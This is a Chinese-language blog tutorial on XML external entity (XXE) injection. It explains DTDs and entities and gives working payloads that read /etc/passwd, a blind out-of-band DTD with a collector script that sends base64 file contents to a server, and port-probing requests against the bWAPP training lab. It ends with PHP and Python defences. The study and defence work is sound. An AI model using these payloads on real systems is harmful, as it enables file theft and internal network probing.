Talking About XXE

December 13, 2018 4 minutes

Background

xxe XML外部实体注入,之前也看过xxe的文章。但一直没有深入研究过,仅仅会使用。现在准备深入学习一下,此为背景。

XML

XML 一种标记性语言,具体格式如下:

<!-- 版本声明 -->
<?xml version="1.0" encoding="UTF-8"?>
<!-- 文档类型定义DTD -->
<!-- DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。 -->
<!DOCTYPE demo[
    <!ELEMENT demo (name, address)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT address (#PCDATA)>
]> 
<!-- 文档元素 -->
<demo> 
<name>demo</name> 
<address>login</address> 
</demo> 

!DOCTYPE demo 定义此文档是 demo 类型的文档。 !ELEMENT demo 定义 demo 元素有四个元素:“name, address” !ELEMENT name 定义 name 元素为 “#PCDATA” 类型 !ELEMENT address 定义 address 元素为 “#PCDATA” 类型

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。

可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

文本中的标签会被当作标记来处理,而实体会被展开。

不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

实体

实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。 实体分为以下几种:

  • 字符实体
  • 命名实体
  • 外部实体
  • 参数实体

除了参数实体以外所有实体都是以&开始,以;结尾,参数实体是以%开始,以;结尾。参数实体只用于 DTD 和文档的内部子集中。 字符实体: 我们可以用十进制格式(&#nnn;,其中 nnn 是字符的十进制值)或十六进制格式(&#xhhh;,其中 hhh 是字符的十六进制值)来指定任意 Unicode 字符。 命名实体: 也成内部实体,命名实体在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
    <!-- 定义一个实体 -->
    <!ENTITY dog "i am a dog">
]> 
<demo> 
<!-- 此处引用 -->
<a>&dog;</a> 
</demo> 

也可以在实体中引用实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
    <!-- 定义一个实体 -->
    <!ENTITY dog "a dog">
    <!ENTITY cat "i am not &dog; i am a cat">
]> 
<demo> 
<!-- 此处引用 -->
<a>&cat;</a> 
</demo> 

外部实体: 表示外部文件的内容。外部实体注入,就是程序引入了不受信任的外部实体。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
    <!-- 定义一个实体 -->
    <!ENTITY file SYSTEM "file:///etc/passwd">
]> 
<demo> 
<!-- 此处引用 -->
<a>&file;</a> 
</demo> 

参数实体: 只用于 DTD 和文档的内部子集中。它们使用百分号(%)而不是与字符,可以是命名实体或外部实体。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
    <!ENTITY % a SYSTEM "http://127.0.0.1/demo.dtd">
    <!-- a 为参数实体 -->
    %a;
]> 
<demo> 
<a>&b;</a> 
</demo> 

demo.dtd为

<!ENTITY b SYSTEM "file:///etc/hosts">
<!-- 内部声明实体 -->
<!ENTITY 实体名称 "实体的值">
<!-- 引用外部实体 -->
<!ENTITY 实体名称 SYSTEM "URI">
<!-- 或者 -->
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

PHP中的XXE问题

PHP中造成XXE的原因就是simplexml_load_string函数的滥用。 漏洞代码: php5.3-5.4

<?php
$string = <<<XML
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">]> 
<reset> 
<login>&b;</login> 
</reset> 
XML;

$xml = simplexml_load_string($string, 'SimpleXMLElement', LIBXML_NOCDATA);
print_r($xml);

php5.4以上,需要把LIBXML_NOCDATA更换为LIBXML_NOENT:

<?php
$string = <<<XML
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">]> 
<reset> 
<login>&b;</login> 
</reset> 
XML;

$xml = simplexml_load_string($string, 'SimpleXMLElement', LIBXML_NOENT);
print_r($xml);

在没有回显的情况下可以使用以下办法: 在自己的服务器中写个文件: data.php

<?php
$data = $_GET["data"];
$myfile = fopen("data.txt", "w");
fwrite($myfile, $data);
fclose($myfile);

demo.dtd

<!ENTITY % create "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1/demo.php?data=%file;'>">
%create;

演示代码:

<?php
$string = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
    <!ENTITY % get SYSTEM "http://127.0.0.1/demo.dtd">
    %get;
    %send;
]> 
<demo> 
<!-- 此处引用 -->
</demo> 
XML;

$xml = simplexml_load_string($string,'SimpleXMLElement', LIBXML_NOENT);

bWAPP 演示

可以看到Content-typetext/xml,将数据稍加改造,payload如下:

POST /bWAPP/xxe-2.php HTTP/1.1
Host: 10.17.28.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.17.28.107/bWAPP/xxe-1.php
Content-type: text/xml; charset=UTF-8
Content-Length: 177
Connection: close
Cookie: PHPSESSID=d7f7f0c20a3a89e1b49208fdacb5c8e0; security_level=0

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
    <!ENTITY file SYSTEM "file:///etc/passwd">
]> 
<reset><login>bee&file;</login><secret>Any bugs?</secret></reset>

执行结果为:

部分源码如下:

ini_set("display_errors",1);

$xml = simplexml_load_string($body);

// Debugging
// print_r($xml);

可以看到还是simplexml_load_string问题。接着继续,刚刚我们做的是low级别的,现在将等级调为medium,

请求如下:

POST /bWAPP/xxe-2.php HTTP/1.1
Host: 10.17.28.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.17.28.107/bWAPP/xxe-1.php
Content-type: text/xml; charset=UTF-8
Content-Length: 175
Connection: close
Cookie: PHPSESSID=d7f7f0c20a3a89e1b49208fdacb5c8e0; security_level=1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
    <!ENTITY file SYSTEM "file:///etc/passwd">
]> 
<reset><login>bee&file;</login><secret>Any bugs?</secret></reset>

响应如下:

HTTP/1.1 200 OK
Date: Thu, 14 Feb 2019 10:29:29 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.4-2ubuntu5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 28
Connection: close
Content-Type: text/html

bee's secret has been reset!

部分代码如下:

// Disables XML external entities. Doesn't work with older PHP versions!
// libxml_disable_entity_loader(true);
$xml = simplexml_load_string($body);
// Debugging
// print_r($xml);
$login = $_SESSION["login"];
$secret = $xml->secret;

可以看到没有回显,我们可以利用上边的说过的方法来测试。

探测端口

POST /bWAPP/xxe-2.php HTTP/1.1
Host: 10.17.28.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.17.28.107/bWAPP/xxe-1.php
Content-type: text/xml; charset=UTF-8
Content-Length: 179
Connection: close
Cookie: PHPSESSID=d7f7f0c20a3a89e1b49208fdacb5c8e0; security_level=0

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE secret[
    <!ENTITY file SYSTEM "http://10.17.28.107:888">
]> 
<reset><login>&file;</login><secret>Any bugs;</secret></reset>

没有开放的回显:

<br />
<b>Warning</b>:  simplexml_load_string(http://10.17.28.107:888) [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]: failed to open stream: Connection refused in <b>/var/www/bWAPP/xxe-2.php</b> on line <b>31</b><br />
<br />
<b>Warning</b>:  simplexml_load_string() [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]: I/O warning : failed to load external entity &quot;http://10.17.28.107:888&quot; in <b>/var/www/bWAPP/xxe-2.php</b> on line <b>31</b><br />
An error occured!

探测80端口,开放的回显

<br />
<b>Warning</b>:  simplexml_load_string() [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]: http://10.17.28.107:80:1: parser error : StartTag: invalid element name in <b>/var/www/bWAPP/xxe-2.php</b> on line <b>31</b><br />
<br />
<b>Warning</b>:  simplexml_load_string() [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]: &lt;!DOCTYPE html&gt; in <b>/var/www/bWAPP/xxe-2.php</b> on line <b>31</b><br />
<br />
<b>Warning</b>:  simplexml_load_string() [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]:  ^ in <b>/var/www/bWAPP/xxe-2.php</b> on line <b>31</b><br />
........

防御

PHP:

1、使用libxml_disable_entity_loader(true);,禁止加载外部实体。 2、对传入的数据进行过滤,过滤关键词SYSTEMPUBLIC

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

参考

[1] 未知攻焉知防——XXE漏洞攻防

[2] XML External Entity (XXE) Processing

[3] 在 XML 中添加实体

[4] python的lxml库的xxe防御

[5] Hunting in the Dark - Blind XXE

[6] DTD Cheat Sheet